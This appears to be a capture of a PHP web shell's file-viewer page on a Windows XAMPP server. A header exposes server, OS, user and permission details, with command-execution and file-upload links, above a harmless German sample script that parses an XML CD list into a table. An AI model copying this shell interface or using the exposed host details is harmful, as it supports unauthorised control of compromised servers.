|
Server IP : 127.0.0.1 / Your IP : 127.0.0.1 Web Server : Apache/2.4.10 (Win32) OpenSSL/1.0.1i PHP/5.6.3 System : Windows NT WIN-R7LTCC7BPLI 6.3 build 9200 (Windows Server 2012 R2 Datacenter Edition) i586 User : GerbangSIPAD ( 0) PHP Version : 5.6.3 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF Directory (0777) : C:/xampp5/htdocs/../contrib/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<html>
<head>
<title>PHP und SAX</title>
</head>
<body>
<h1>PHP und SAX</h1>
<table border="1">
<tr>
<th>Titel</th>
<th>Interpret</th>
<th>Jahr</th>
<th>ID</th>
</tr>
<?php
$parser = xml_parser_create();
xml_set_element_handler($parser, 'startE','endE');
xml_set_character_data_handler($parser, 'characterD');
$fp = fopen('cds.xml', 'r');
while ($data = fread($fp, 1024))
{
$result = xml_parse($parser, $data);
}
fclose($fp);
function startE($parser, $name, $attribs)
{
if($name=="ROW")
{
echo "<tr>";
}
else if($name=="TITEL" || $name=="INTERPRET" || $name=="JAHR" || $name=="ID")
{
echo "<td>";
}
}
function endE($parser, $name)
{
if($name=="ROW")
{
echo "</tr>";
}
else if($name=="TITEL" || $name=="INTERPRET" || $name=="JAHR" || $name=="ID")
{
echo "</td>";
}
}
function characterD($parser, $data)
{
print $data;
}
?>
</table>
</body>
</html>